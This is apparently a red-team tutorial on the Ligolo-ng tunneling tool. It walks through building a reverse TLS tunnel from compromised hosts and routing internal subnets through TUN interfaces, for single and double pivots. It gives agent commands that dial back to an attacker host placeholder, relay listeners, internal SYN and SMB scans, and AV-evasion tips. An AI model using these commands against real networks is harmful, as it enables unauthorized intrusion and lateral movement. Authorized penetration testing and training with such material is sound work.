Intermediate Level

πŸ“‹ Table of Contents

What is Ligolo-ng?

Ligolo-ng is a fast, lightweight tunneling tool written in Go by Nicolas Chatelain (Nicocha30). It establishes a reverse tunnel between an attacker machine and a compromised host, then exposes the victim’s internal network through a virtual TUN interface on the attacker’s box.

The result: the operator’s host can route traffic to internal subnets as if it were physically plugged into them β€” no SOCKS proxy, no proxychains, no protocol limitations.

Key Components
  • proxy β€” runs on the attacker machine, listens for incoming agent connections, manages the TUN interface
  • agent β€” dropped on the compromised host, dials back to the proxy over TLS

Why Not SOCKS Proxies?

chisel ssh -D proxychains

Traditional SOCKS-based pivoting tools have well-known pain points:

ProblemSOCKSLigolo-ng
ICMP / ping support❌ Noβœ… Yes
UDP support⚠️ Limitedβœ… Native
Nmap SYN scans❌ No (TCP connect only)βœ… Yes
proxychains overhead❌ Requiredβœ… Not needed
Tool compatibilityHit or missNative β€” every tool just works
ThroughputLowHigh

Because Ligolo-ng exposes the remote network as a Layer 3 interface, every networking tool on your box β€” nmap, crackmapexec, impacket, metasploit, browsers β€” works without any wrapper.

How Ligolo-ng Works

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         TLS Tunnel         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   Attacker  β”‚ ◄────────(11601)──────────►│ Compromised  β”‚
β”‚   (proxy)   β”‚                             β”‚   (agent)    β”‚
β”‚             β”‚                             β”‚              β”‚
β”‚  TUN: ligoloβ”‚                             β”‚  eth0/eth1   β”‚
β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”˜                             β””β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜
       β”‚                                            β”‚
       β”‚ ip route add 10.10.20.0/24 dev ligolo      β”‚
       β–Ό                                            β–Ό
   Operator's tools                       Internal Network
   (nmap, crackmapexec, etc.)             (10.10.20.0/24)

The proxy assigns each connected agent its own TUN interface. Traffic destined for the internal subnet gets routed through the kernel into that TUN, encapsulated, sent over the TLS tunnel, and emitted from the agent on the victim host.

Installation

Prerequisites

  • Linux box for the proxy (TUN/TAP support required)
  • Root or CAP_NET_ADMIN capability for TUN interface creation
  • Go 1.20+ if building from source (optional)

Option 1: Download Prebuilt Binaries

Grab the latest release from the official GitHub releases:

mkdir -p ~/tools/ligolo-ng && cd ~/tools/ligolo-ng

# Proxy (attacker - Linux x64)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz
tar -xvzf ligolo-ng_proxy_linux_amd64.tar.gz

# Agent (Linux x64)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_linux_amd64.tar.gz
tar -xvzf ligolo-ng_agent_linux_amd64.tar.gz

# Agent (Windows x64) β€” for Windows targets
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_windows_amd64.zip
unzip ligolo-ng_agent_windows_amd64.zip

Option 2: Build From Source

git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
go build -o proxy cmd/proxy/main.go
go build -o agent cmd/agent/main.go

# Cross-compile agent for Windows
GOOS=windows GOARCH=amd64 go build -o agent.exe cmd/agent/main.go
Tip

Build agents with -ldflags "-s -w" to strip symbols and shrink the binary. Use UPX for further compression if AV evasion is in scope (and authorized).

Single Pivot Setup

Scenario: you compromised 10.10.10.50 (DMZ host) which has a second NIC into 10.10.20.0/24 (internal network). The internal network is unreachable from your box directly.

Step 1: Create the TUN Interface (Attacker)

sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
Why a TUN interface?

A TUN device operates at Layer 3 (IP packets). The kernel routes packets into it as if it were a real NIC. Ligolo’s proxy reads those packets, ships them through the TLS tunnel, and the agent re-injects them on the remote network.

Step 2: Start the Proxy

./proxy -selfcert

-selfcert generates a self-signed TLS certificate on the fly β€” fine for engagements, but for stealth or fingerprint-resistance you should provide a real cert with -certfile / -keyfile.

By default the proxy listens on 0.0.0.0:11601. You’ll land in the interactive shell:

ligolo-ng Β»

Step 3: Drop and Run the Agent (Victim)

Transfer the agent binary to 10.10.10.50 (SCP, HTTP server, SMB β€” whatever fits). Then execute it pointing back to your proxy:

# Linux victim
./agent -connect <ATTACKER_IP>:11601 -ignore-cert

# Windows victim (PowerShell)
.\agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
Operational Note

-ignore-cert skips TLS verification β€” required when using -selfcert on the proxy. In a real engagement, pin a proper certificate to avoid leaking traffic patterns to defenders running TLS interception.

Back on the proxy you’ll see:

INFO[0042] Agent joined.    name=user@DMZ-WEB01 remote="10.10.10.50:54321"

Step 4: Select Session and Start Tunnel

ligolo-ng Β» session
? Specify a session : 1 - user@DMZ-WEB01 - 10.10.10.50:54321
[Agent : user@DMZ-WEB01] Β» ifconfig

ifconfig enumerates the agent’s network interfaces β€” note the internal subnet you want to reach.

[Agent : user@DMZ-WEB01] Β» start
[Agent : user@DMZ-WEB01] Β» INFO[0103] Starting tunnel to user@DMZ-WEB01
Newer versions (v0.7+)

Recent releases use tunnel_start --tun ligolo instead of start. Run help inside the prompt to confirm the syntax for your version.

Step 5: Route Internal Subnet Through the Tunnel

In a separate terminal on the attacker (the proxy shell stays interactive):

sudo ip route add 10.10.20.0/24 dev ligolo

That’s it. You’re now Layer 3-adjacent to the entire 10.10.20.0/24 subnet.

Step 6: Verify and Pivot

# ICMP works now (would fail with SOCKS)
ping 10.10.20.10

# Full SYN scan, no proxychains
sudo nmap -sS -sV -T4 10.10.20.0/24

# Reach internal SMB
crackmapexec smb 10.10.20.0/24
What just happened

Your nmap SYN packets entered the kernel β†’ matched the route β†’ were emitted on the ligolo TUN β†’ encrypted by the proxy β†’ tunneled to the agent β†’ emitted onto the victim’s internal NIC β†’ responses came back the same way. All transparent to the tool.

Double Pivot Setup

Scenario: from the DMZ host (10.10.10.50), you reached 10.10.20.10 and compromised it. That second host has yet another NIC into a deeper restricted segment 10.10.30.0/24 you can’t touch from your box even through the first pivot.

You ──► DMZ (10.10.10.50) ──► Internal (10.10.20.10) ──► Restricted (10.10.30.0/24)
        Agent #1                Agent #2                  Target

The trick: have the second agent connect through the first one. Ligolo-ng’s listener_add builds a relay on the first compromised host that forwards inbound connections back to your proxy through the existing tunnel.

Step 1: Create a Listener on the First Pivot

In the proxy shell, while inside the first agent’s session:

[Agent : user@DMZ-WEB01] Β» listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
INFO[0220] Listener created on remote agent!

This tells agent #1: “open port 11601 on yourself; forward anything that hits it back to my proxy on 127.0.0.1:11601 through our tunnel.”

Firewall Reality Check

The listener only works if the first compromised host is reachable on port 11601 from the deeper network. If host-based firewalls block it, pick a port likely to be open egress (443, 8080) or use listener_add --addr 0.0.0.0:443 --to 127.0.0.1:11601 --tcp.

Step 2: Drop and Run Agent #2

Transfer the same agent binary to 10.10.20.10. Now point it at the first pivot’s IP instead of the attacker’s:

./agent -connect 10.10.20.10:11601 -ignore-cert

Wait β€” that’s wrong from agent #2’s perspective. It connects to 10.10.20.10 which is itself. Use the first pivot’s internal IP that agent #2 can reach. If agent #2 was dropped on 10.10.20.10 and the first pivot is 10.10.20.5 (the inside NIC of agent #1’s host):

./agent -connect 10.10.20.5:11601 -ignore-cert

The connection flows: agent #2 β†’ first pivot’s listener β†’ tunnel #1 β†’ your proxy. From the proxy’s view, a brand new agent just joined.

Step 3: Start the Second Tunnel on a Fresh TUN

Create a separate TUN interface so traffic for the deeper subnet doesn’t collide with the first one:

sudo ip tuntap add user $USER mode tun ligolo2
sudo ip link set ligolo2 up

In the proxy shell, switch to the new session and start its tunnel on the new interface:

ligolo-ng Β» session
? Specify a session : 2 - user@INT-APP02 - <relayed>
[Agent : user@INT-APP02] Β» tunnel_start --tun ligolo2
Older Ligolo-ng?

Versions before v0.7 only supported one TUN. Upgrade β€” the multi-tunnel feature is exactly what makes double pivoting clean.

Step 4: Route the Deep Subnet

sudo ip route add 10.10.30.0/24 dev ligolo2

Step 5: Verify End-to-End

ping 10.10.30.50
nmap -sS -sV --top-ports 100 10.10.30.0/24

You’re now reaching a network that’s two compromised hosts deep, with full L3 access, no SOCKS, no proxychains. The same pattern extends to triple, quadruple pivots β€” just stack listeners and TUN interfaces.

Authorization Reminder

Pivoting tools are dual-use. Only deploy Ligolo-ng inside the scope of an authorized engagement (CTF lab, pentest contract, internal red team mandate). Pivoting into networks you don’t have written permission to access is a federal crime in most jurisdictions.

Useful Commands Reference

Proxy Interactive Shell

CommandWhat it does
sessionSwitch between connected agents
ifconfigList network interfaces on the selected agent
start / tunnel_start --tun <name>Begin tunneling traffic
stop / tunnel_stopStop the current tunnel
listener_add --addr <ip:port> --to <ip:port> --tcpCreate relay listener on agent
listener_listShow active listeners
listener_del --id <n>Remove a listener
autoroute(newer versions) Auto-add routes for agent’s interfaces
helpShow all commands for your version

Agent Flags

FlagPurpose
-connect <host:port>Proxy address to dial
-ignore-certSkip TLS verification (use with -selfcert)
-retryReconnect on disconnect
-bind <addr>Bind mode β€” agent listens, proxy connects (for inbound-only victims)
-socks5 <ip:port>Route the agent’s tunnel through a SOCKS5 proxy

Troubleshooting

"Operation not permitted" creating TUN

You need root or CAP_NET_ADMIN. Use sudo for ip tuntap add / ip link set / ip route add commands. The proxy itself can run unprivileged once the TUN exists and is owned by your user.

Agent connects but no sessions show up

Check the proxy log β€” TLS errors usually mean cert mismatch. With -selfcert on the proxy, the agent must use -ignore-cert. Otherwise pin a real cert with -certfile/-keyfile on both sides.

Tunnel started, but pings fail

90% of the time: missing or wrong route. Verify with ip route that your target subnet points at the ligolo interface. Don’t forget to bring the interface up (ip link set ligolo up).

Slow throughput on long pivots

Each hop adds latency and CPU overhead (encrypt/decrypt twice for double pivot). For heavy data exfil, prefer SMB/HTTP exfil over the tunnel rather than rsync, which chats badly over high-latency links.

Conclusion

Ligolo-ng replaces fragile SOCKS-based pivoting with proper L3 tunneling, making every standard tool work natively against deep internal networks. The two-binary design (proxy + agent), TLS transport, and multi-tunnel support make it one of the cleanest pivoting tools available for red team and OSCP-style engagements.

Key Takeaways

  1. TUN over SOCKS β€” full L3 means ICMP, UDP, SYN scans, and any tool just work
  2. Single pivot = TUN interface + agent + route. Three commands and you’re in.
  3. Double pivot = listener_add on the first agent, second agent dials the listener, fresh TUN for the new subnet
  4. Multi-tunnel support (v0.7+) is what makes nested pivots clean β€” upgrade if you’re stuck on older releases
  5. Authorization first β€” these techniques are felonies outside an explicit engagement scope

Further Reading